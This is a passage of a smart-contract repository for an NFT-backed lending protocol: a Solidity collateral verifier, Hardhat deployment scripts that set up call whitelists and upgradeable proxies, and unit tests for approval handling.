virtual returns (uint256 current) { 137 | Counters.Counter storage nonce = _nonces[owner]; 138 | current = nonce.current(); 139 | nonce.increment(); 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /contracts/verifiers/ItemsVerifier.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; 7 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 8 | import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; 9 | import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; 10 | import "@openzeppelin/contracts/utils/math/SafeCast.sol"; 11 | 12 | import "../interfaces/IVaultFactory.sol"; 13 | import "../interfaces/IAssetVault.sol"; 14 | import "../interfaces/ISignatureVerifier.sol"; 15 | import "../libraries/LoanLibrary.sol"; 16 | 17 | import { IV_ItemMissingAddress, IV_InvalidCollateralType, IV_NonPositiveAmount1155, IV_InvalidTokenId1155, IV_NonPositiveAmount20 } from "../errors/Lending.sol"; 18 | 19 | /** 20 | * @title ArcadeItemsVerifier 21 | * @author Non-Fungible Technologies, Inc. 22 | * 23 | * This contract can be used for verifying complex signature-encoded 24 | * bundle descriptions. This resolves on a new array of SignatureItems[], 25 | * which outside of verification, is passed around as bytes memory. 26 | * 27 | * Each SignatureItem has four fields: 28 | * - cType (collateral Type) 29 | * - asset (contract address of the asset) 30 | * - tokenId (token ID of the asset, if applicable) 31 | * - amount (amount of the asset, if applicable) 32 | * 33 | * - For token ids part of ERC721, other features beyond direct tokenIds are supported: 34 | * - A provided token id of -1 is a wildcard, meaning any token ID is accepted. 35 | * - Wildcard token ids are not supported for ERC1155. 36 | * - All amounts are taken as minimums. For instance, if the "amount" field of an ERC1155 is 5, 37 | * then a bundle with 8 of those ERC1155s are accepted. 38 | * - For an ERC20 cType, tokenId is ignored. For an ERC721 cType, amount is ignored. 39 | * 40 | * - Any deviation from the above rules represents an unparseable signature and will always 41 | * return invalid. 42 | * 43 | * - All multi-item signatures assume AND - any optional expressed by OR 44 | * can be implemented by simply signing multiple separate signatures. 45 | */ 46 | contract ArcadeItemsVerifier is ISignatureVerifier { 47 | using SafeCast for int256; 48 | 49 | /// @dev Enum describing the collateral type of a signature item 50 | enum CollateralType { 51 | ERC_721, 52 | ERC_1155, 53 | ERC_20 54 | } 55 | 56 | /// @dev Enum describing each item that should be validated 57 | struct SignatureItem { 58 | // The type of collateral - which interface does it implement 59 | CollateralType cType; 60 | // The address of the collateral contract 61 | address asset; 62 | // The token ID of the collateral (only applicable to 721 and 1155) 63 | // int256 because a negative value serves as wildcard 64 | int256 tokenId; 65 | // The minimum amount of collateral (only applicable for 20 and 1155) 66 | uint256 amount; 67 | } 68 | 69 | // ==================================== COLLATERAL VERIFICATION ===================================== 70 | 71 | /** 72 | * @notice Verify that the items specified by the packed SignatureItem array are held by the vault. 73 | * @dev Reverts on a malformed SignatureItem, returns false on missing contents. 74 | * 75 | * Verification for empty predicates array has been addressed in initializeLoanWithItems and 76 | * rolloverLoanWithItems. 77 | * 78 | * @param predicates The SignatureItem[] array of items, packed in bytes. 79 | * @param vault The vault that should own the specified items. 80 | * 81 | * @return verified Whether the bundle contains the specified items. 82 | */ 83 | // solhint-disable-next-line code-complexity 84 | function verifyPredicates(bytes calldata predicates, address vault) external view override returns (bool) { 85 | // Unpack items 86 | SignatureItem[] memory items = abi.decode(predicates, (SignatureItem[])); 87 | 88 | for (uint256 i = 0; i < items.length; i++) { 89 | SignatureItem memory item = items[i]; 90 | 91 | // No asset provided 92 | if (item.asset == address(0)) revert IV_ItemMissingAddress(); 93 | 94 | if (item.cType == CollateralType.ERC_721) { 95 | IERC721 asset = IERC721(item.asset); 96 | int256 id = item.tokenId; 97 | 98 | // Wildcard, but vault has no assets 99 | if (id < 0 && asset.balanceOf(vault) == 0) return false; 100 | // Does not own specifically specified asset 101 | else if (id >= 0 && asset.ownerOf(id.toUint256()) != vault) return false; 102 | } else if (item.cType == CollateralType.ERC_1155) { 103 | IERC1155 asset = IERC1155(item.asset); 104 | 105 | int256 id = item.tokenId; 106 | uint256 amt = item.amount; 107 | 108 | // Cannot require 0 amount 109 | if (amt == 0) revert IV_NonPositiveAmount1155(item.asset, amt); 110 | 111 | // Wildcard not allowed for 1155 112 | if (id < 0) revert IV_InvalidTokenId1155(item.asset, id); 113 | 114 | // Does not own specifically specified asset 115 | if (asset.balanceOf(vault, id.toUint256()) < amt) return false; 116 | } else if (item.cType == CollateralType.ERC_20) { 117 | IERC20 asset = IERC20(item.asset); 118 | 119 | uint256 amt = item.amount; 120 | 121 | // Cannot require 0 amount 122 | if (amt == 0) revert IV_NonPositiveAmount20(item.asset, amt); 123 | 124 | // Does not own specifically specified asset 125 | if (asset.balanceOf(vault) < amt) return false; 126 | } else { 127 | // Interface could not be parsed - fail 128 | revert IV_InvalidCollateralType(item.asset, uint256(item.cType)); 129 | } 130 | } 131 | 132 | // Loop completed - all items found 133 | return true; 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-staking-vaults.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | 3 | import hre, { ethers, upgrades } from "hardhat"; 4 | import { AssetVault, CallWhitelistApprovals, VaultFactory } from "../../typechain"; 5 | 6 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 7 | import { ADMIN_ROLE } from "../utils/constants"; 8 | 9 | export async function main(): Promise { 10 | 11 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 12 | /////////////////////////////////// GLOBALS //////////////////////////////////////// 13 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 14 | 15 | const [deployer] = await hre.ethers.getSigners(); 16 | 17 | const APE = "0x4d224452801ACEd8B2F0aebE155379bb5D594381"; // mainnet address 18 | // const APE = "0x328507DC29C95c170B56a1b3A758eB7a9E73455c"; // goerli address 19 | // const STAKING = "0x831e0c7A89Dbc52a1911b78ebf4ab905354C96Ce" // goerli address - mainnet address tbd 20 | // const STAKING = "0xeF37717B1807a253c6D140Aca0141404D23c26D4" // goerli address - mainnet address tbd 21 | const STAKING = "0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9"; 22 | // const OWNER = deployer.address; // goerli - should switch to multisig for mainnet 23 | const OWNER = "0x398e92C827C5FA0F33F171DC8E20570c5CfF330e"; // mainnet multisig 24 | 25 | console.log(SECTION_SEPARATOR); 26 | console.log("Deployer:", deployer.address); 27 | console.log(`Balance: ${ethers.utils.formatEther(await deployer.getBalance())} ETH`); 28 | console.log(SECTION_SEPARATOR); 29 | 30 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 31 | ////////////////////////////// STEP 1: CALLWHITELIST DEPLOY ///////////////////////////////////// 32 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 33 | 34 | // Set up lending protocol 35 | const whitelistFactory = await hre.ethers.getContractFactory("CallWhitelistApprovals"); 36 | // const whitelist = await whitelistFactory.deploy(); 37 | const whitelist = await whitelistFactory.attach("0xB4515A8e5616005f7138D9Eb25b581362d9FDB95"); 38 | 39 | console.log("CallWhitelistApprovals deployed to:", whitelist.address); 40 | 41 | // // Whitelist BAYC deposit - depositBAYC 42 | // // await whitelist.add(STAKING, "0x8f4972a9"); 43 | // await whitelist.add(STAKING, "0xd346cbd9"); 44 | // // Whitelist MAYC deposit - depositMAYC 45 | // // await whitelist.add(STAKING, "0x4bd1e8f7"); 46 | // await whitelist.add(STAKING, "0x8ecbffa7"); 47 | // // Whitelist BAKC deposit - depositBAKC 48 | // // await whitelist.add(STAKING, "0x417a32f9"); 49 | // await whitelist.add(STAKING, "0xd346cbd9"); 50 | // // Whitelist BAYC claim - claimSelfBAYC 51 | // await whitelist.add(STAKING, "0x20a325d0"); 52 | // // Whitelist MAYC claim - claimSelfMAYC 53 | // await whitelist.add(STAKING, "0x381b4682"); 54 | // // Whitelist BAKC claim - claimSelfBAKC 55 | // // await whitelist.add(STAKING, "0xb0847dec"); 56 | // await whitelist.add(STAKING, "0xe0347e4f"); 57 | // // Whitelist BAYC withdraw - withdrawSelfBAYC 58 | // // await whitelist.add(STAKING, "0x3d0fa3b5"); 59 | // await whitelist.add(STAKING, "0xfe31446c"); 60 | // // Whitelist MAYC withdraw - withdrawSelfMAYC 61 | // await whitelist.add(STAKING, "0xc63389c3"); 62 | // Whitelist BAKC withdraw - withdrawBAKC 63 | // await whitelist.add(STAKING, "0x8536c652"); 64 | await whitelist.add(STAKING, "0xaceb3629"); 65 | 66 | // Set up approvals 67 | await whitelist.setApproval(APE, STAKING, true); 68 | 69 | console.log(SUBSECTION_SEPARATOR); 70 | console.log("Staking approvals set for:", STAKING); 71 | console.log("APE approval set for:", APE); 72 | console.log(SUBSECTION_SEPARATOR); 73 | 74 | // Transfer ownership 75 | if (OWNER !== deployer.address) { 76 | await whitelist.transferOwnership(OWNER); 77 | console.log("Whitelist ownership transferred to:", OWNER); 78 | } else { 79 | console.log("Whitelist ownership not transferred: deployer already owner.") 80 | } 81 | 82 | console.log(SECTION_SEPARATOR); 83 | 84 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 85 | ////////////////////////////////// STEP 2: VAULT DEPLOY ///////////////////////////////////////// 86 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 87 | 88 | const vaultTemplate = await hre.ethers.getContractFactory("AssetVault"); 89 | const template = await vaultTemplate.deploy(); 90 | await template.deployed(); 91 | 92 | console.log("AssetVault deployed to:", template.address); 93 | 94 | const vfFactory = await hre.ethers.getContractFactory("VaultFactory"); 95 | const factory = await upgrades.deployProxy( 96 | vfFactory, 97 | [template.address, whitelist.address], 98 | { kind: "uups" }, 99 | ); 100 | await factory.deployed(); 101 | 102 | console.log("VaultFactory proxy deployed to:", factory.address); 103 | 104 | const implAddress = await upgrades.erc1967.getImplementationAddress(factory.address); 105 | console.log("VaultFactory implementation deployed to:", implAddress); 106 | 107 | console.log(SUBSECTION_SEPARATOR); 108 | 109 | // grant VaultFactory the admin role to enable authorizeUpgrade onlyRole(ADMIN_ROLE) 110 | const updateVaultFactoryAdmin = await factory.grantRole(ADMIN_ROLE, OWNER); 111 | await updateVaultFactoryAdmin.wait(); 112 | 113 | console.log(`VaultFactory admin role granted to: ${OWNER}`); 114 | console.log(SUBSECTION_SEPARATOR); 115 | 116 | const renounceVaultFactoryAdmin = await factory.renounceRole(ADMIN_ROLE, deployer.address); 117 | await renounceVaultFactoryAdmin.wait(); 118 | 119 | console.log("VaultFactory: deployer has renounced admin role"); 120 | 121 | console.log(SECTION_SEPARATOR); 122 | } 123 | 124 | // We recommend this pattern to be able to use async/await everywhere 125 | // and properly handle errors. 126 | if (require.main === module) { 127 | main() 128 | .then(() => process.exit(0)) 129 | .catch((error: Error) => { 130 | console.error(error); 131 | process.exit(1); 132 | }); 133 | } 134 | -------------------------------------------------------------------------------- /scripts/deploy/deploy.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers, upgrades } from "hardhat"; 2 | 3 | import { writeJson } from "./write-json"; 4 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 5 | 6 | import { 7 | AssetVault, 8 | FeeController, 9 | LoanCore, 10 | PromissoryNote, 11 | RepaymentController, 12 | OriginationController, 13 | CallWhitelist, 14 | ArcadeItemsVerifier, 15 | VaultFactory, 16 | } from "../../typechain"; 17 | 18 | export interface DeployedResources { 19 | assetVault: AssetVault; 20 | feeController: FeeController; 21 | loanCore: LoanCore; 22 | borrowerNote: PromissoryNote; 23 | lenderNote: PromissoryNote; 24 | repaymentController: RepaymentController; 25 | originationController: OriginationController; 26 | whitelist: CallWhitelist; 27 | vaultFactory: VaultFactory; 28 | verifier: ArcadeItemsVerifier 29 | } 30 | 31 | export async function main(): Promise { 32 | // Hardhat always runs the compile task when running scripts through it. 33 | // If this runs in a standalone fashion you may want to call compile manually 34 | // to make sure everything is compiled 35 | // await run("compile"); 36 | 37 | console.log(SECTION_SEPARATOR); 38 | 39 | const CallWhiteListFactory = await ethers.getContractFactory("CallWhitelist"); 40 | const whitelist = await CallWhiteListFactory.deploy(); 41 | await whitelist.deployed(); 42 | 43 | const whitelistAddress = whitelist.address; 44 | console.log("CallWhitelist deployed to:", whitelistAddress); 45 | console.log(SUBSECTION_SEPARATOR); 46 | 47 | const AssetVaultFactory = await ethers.getContractFactory("AssetVault"); 48 | const assetVault = await AssetVaultFactory.deploy(); 49 | await assetVault.deployed(); 50 | 51 | const assetVaultAddress = assetVault.address; 52 | console.log("AssetVault deployed to:", assetVaultAddress); 53 | console.log(SUBSECTION_SEPARATOR); 54 | 55 | const VaultFactoryFactory = await ethers.getContractFactory("VaultFactory"); 56 | const vaultFactory = await upgrades.deployProxy( 57 | VaultFactoryFactory, 58 | [assetVault.address, whitelist.address], 59 | { 60 | kind: "uups", 61 | initializer: "initialize(address, address)", 62 | timeout: 0 63 | }, 64 | ); 65 | await vaultFactory.deployed(); 66 | 67 | const vaultFactoryProxyAddress = vaultFactory.address; 68 | console.log("VaultFactory proxy deployed to:", vaultFactoryProxyAddress); 69 | console.log(SUBSECTION_SEPARATOR); 70 | 71 | const FeeControllerFactory = await ethers.getContractFactory("FeeController"); 72 | const feeController = await FeeControllerFactory.deploy(); 73 | await feeController.deployed(); 74 | 75 | const feeControllerAddress = feeController.address; 76 | console.log("FeeController deployed to: ", feeControllerAddress); 77 | console.log(SUBSECTION_SEPARATOR); 78 | 79 | const bNoteName = "Arcade.xyz BorrowerNote"; 80 | const bNoteSymbol = "aBN"; 81 | const PromissoryNoteFactory = await ethers.getContractFactory("PromissoryNote"); 82 | const borrowerNote = await PromissoryNoteFactory.deploy(bNoteName, bNoteSymbol); 83 | await borrowerNote.deployed(); 84 | 85 | const borrowerNoteAddress = borrowerNote.address; 86 | console.log("BorrowerNote deployed to:", borrowerNote.address); 87 | 88 | const lNoteName = "Arcade.xyz LenderNote"; 89 | const lNoteSymbol = "aLN"; 90 | const lenderNote = await PromissoryNoteFactory.deploy(lNoteName, lNoteSymbol); 91 | await lenderNote.deployed(); 92 | 93 | const lenderNoteAddress = lenderNote.address; 94 | console.log("LenderNote deployed to:", lenderNoteAddress); 95 | console.log(SUBSECTION_SEPARATOR); 96 | 97 | const LoanCoreFactory = await ethers.getContractFactory("LoanCore"); 98 | const loanCore = await upgrades.deployProxy( 99 | LoanCoreFactory, 100 | [feeController.address, borrowerNote.address, lenderNote.address], 101 | { 102 | kind: "uups", 103 | timeout: 0 104 | }, 105 | ); 106 | await loanCore.deployed(); 107 | 108 | const loanCoreProxyAddress = loanCore.address; 109 | console.log("LoanCore proxy deployed to:", loanCoreProxyAddress); 110 | console.log(SUBSECTION_SEPARATOR); 111 | 112 | const RepaymentControllerFactory = await ethers.getContractFactory("RepaymentController"); 113 | const repaymentController = ( 114 | await RepaymentControllerFactory.deploy(loanCore.address) 115 | ); 116 | await repaymentController.deployed(); 117 | 118 | const repaymentContAddress = repaymentController.address; 119 | console.log("RepaymentController deployed to:", repaymentContAddress); 120 | 121 | console.log(SUBSECTION_SEPARATOR); 122 | 123 | const OriginationControllerFactory = await ethers.getContractFactory("OriginationController"); 124 | const originationController = ( 125 | await upgrades.deployProxy(OriginationControllerFactory, [loanCore.address], { kind: "uups", timeout: 0 }) 126 | ); 127 | await originationController.deployed(); 128 | 129 | const originationContProxyAddress = originationController.address; 130 | console.log("OriginationController proxy deployed to:", originationContProxyAddress); 131 | 132 | console.log(SUBSECTION_SEPARATOR); 133 | 134 | const VerifierFactory = await ethers.getContractFactory("ArcadeItemsVerifier"); 135 | const verifier = await VerifierFactory.deploy(); 136 | await verifier.deployed(); 137 | 138 | const verifierAddress = verifier.address; 139 | console.log("ItemsVerifier deployed to:", verifierAddress); 140 | 141 | console.log(SUBSECTION_SEPARATOR); 142 | 143 | console.log("Writing to deployments json file..."); 144 | 145 | await writeJson( 146 | assetVaultAddress, 147 | feeControllerAddress, 148 | borrowerNoteAddress, 149 | lenderNoteAddress, 150 | repaymentContAddress, 151 | whitelistAddress, 152 | vaultFactoryProxyAddress, 153 | loanCoreProxyAddress, 154 | originationContProxyAddress, 155 | verifierAddress, 156 | bNoteName, 157 | bNoteSymbol, 158 | lNoteName, 159 | lNoteSymbol, 160 | ); 161 | 162 | console.log(SECTION_SEPARATOR); 163 | 164 | return { 165 | assetVault, 166 | feeController, 167 | loanCore, 168 | borrowerNote, 169 | lenderNote, 170 | repaymentController, 171 | originationController, 172 | whitelist, 173 | vaultFactory, 174 | verifier 175 | }; 176 | } 177 | 178 | // We recommend this pattern to be able to use async/await everywhere 179 | // and properly handle errors. 180 | if (require.main === module) { 181 | main() 182 | .then(() => process.exit(0)) 183 | .catch((error: Error) => { 184 | console.error(error); 185 | process.exit(1); 186 | }); 187 | } 188 | -------------------------------------------------------------------------------- /test/CallWhitelistApprovals.ts: -------------------------------------------------------------------------------- 1 | import chai, { expect } from "chai"; 2 | import hre, { waffle } from "hardhat"; 3 | import { solidity } from "ethereum-waffle"; 4 | const { loadFixture } = waffle; 5 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signer-with-address"; 6 | 7 | chai.use(solidity); 8 | 9 | import { CallWhitelistApprovals, MockERC20, MockERC721, MockERC1155 } from "../typechain"; 10 | import { deploy } from "./utils/contracts"; 11 | 12 | type Signer = SignerWithAddress; 13 | 14 | interface TestContext { 15 | whitelist: CallWhitelistApprovals; 16 | mockERC20: MockERC20; 17 | mockERC721: MockERC721; 18 | mockERC1155: MockERC1155; 19 | user: Signer; 20 | other: Signer; 21 | signers: Signer[]; 22 | } 23 | 24 | describe("CallWhitelistApprovals", () => { 25 | /** 26 | * Sets up a test context, deploying new contracts and returning them for use in a test 27 | */ 28 | const fixture = async (): Promise => { 29 | const signers: Signer[] = await hre.ethers.getSigners(); 30 | const whitelist = await deploy("CallWhitelistApprovals", signers[0], []); 31 | const mockERC20 = await deploy("MockERC20", signers[0], ["Mock ERC20", "MOCK"]); 32 | const mockERC721 = await deploy("MockERC721", signers[0], ["Mock ERC721", "MOCK"]); 33 | const mockERC1155 = await deploy("MockERC1155", signers[0], []); 34 | 35 | return { 36 | whitelist, 37 | mockERC20, 38 | mockERC721, 39 | mockERC1155, 40 | user: signers[0], 41 | other: signers[1], 42 | signers: signers.slice(2), 43 | }; 44 | }; 45 | 46 | describe("setApproval", () => { 47 | it("should succeed from owner", async () => { 48 | const { whitelist, mockERC20, user, other } = await loadFixture(fixture); 49 | 50 | await expect(whitelist.connect(user).setApproval(mockERC20.address, other.address, true)) 51 | .to.emit(whitelist, "ApprovalSet") 52 | .withArgs(user.address, mockERC20.address, other.address, true); 53 | }); 54 | 55 | it("should fail from non-owner", async () => { 56 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 57 | 58 | await expect(whitelist.connect(other).setApproval(mockERC20.address, other.address, true)) 59 | .to.be.revertedWith("Ownable: caller is not the owner"); 60 | }); 61 | 62 | it("should succeed after ownership transferred", async () => { 63 | const { whitelist, mockERC20, user, other } = await loadFixture(fixture); 64 | 65 | await expect(whitelist.connect(user).transferOwnership(other.address)) 66 | .to.emit(whitelist, "OwnershipTransferred") 67 | .withArgs(user.address, other.address); 68 | 69 | await expect(whitelist.connect(other).setApproval(mockERC20.address, other.address, true)) 70 | .to.emit(whitelist, "ApprovalSet") 71 | .withArgs(other.address, mockERC20.address, other.address, true); 72 | }); 73 | 74 | it("should fail from old address after ownership transferred", async () => { 75 | const { whitelist, mockERC20, user, other } = await loadFixture(fixture); 76 | 77 | await expect(whitelist.connect(user).transferOwnership(other.address)) 78 | .to.emit(whitelist, "OwnershipTransferred") 79 | .withArgs(user.address, other.address); 80 | 81 | await expect(whitelist.connect(user).setApproval(mockERC20.address, other.address, true)) 82 | .to.be.revertedWith("Ownable: caller is not the owner"); 83 | }); 84 | }); 85 | 86 | describe("isApproved", () => { 87 | it("passes after adding to approvals", async () => { 88 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 89 | 90 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 91 | await whitelist.setApproval(mockERC20.address, other.address, true); 92 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 93 | }); 94 | 95 | it("fails after removing from approvals", async () => { 96 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 97 | 98 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 99 | await whitelist.setApproval(mockERC20.address, other.address, true); 100 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 101 | await whitelist.setApproval(mockERC20.address, other.address, false); 102 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 103 | }); 104 | 105 | it("adding twice is a noop", async () => { 106 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 107 | 108 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 109 | await whitelist.setApproval(mockERC20.address, other.address, true); 110 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 111 | await whitelist.setApproval(mockERC20.address, other.address, true); 112 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 113 | }); 114 | 115 | it("removing twice is a noop", async () => { 116 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 117 | 118 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 119 | await whitelist.setApproval(mockERC20.address, other.address, true); 120 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 121 | await whitelist.setApproval(mockERC20.address, other.address, false); 122 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 123 | await whitelist.setApproval(mockERC20.address, other.address, false); 124 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 125 | }); 126 | 127 | it("add again after removing", async () => { 128 | const { whitelist, mockERC20, other } = await loadFixture(fixture); 129 | 130 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 131 | await whitelist.setApproval(mockERC20.address, other.address, true); 132 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 133 | await whitelist.setApproval(mockERC20.address, other.address, false); 134 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.false; 135 | await whitelist.setApproval(mockERC20.address, other.address, true); 136 | expect(await whitelist.isApproved(mockERC20.address, other.address)).to.be.true; 137 | }); 138 | }); 139 | }); 140 | --------------------------------------------------------------------------------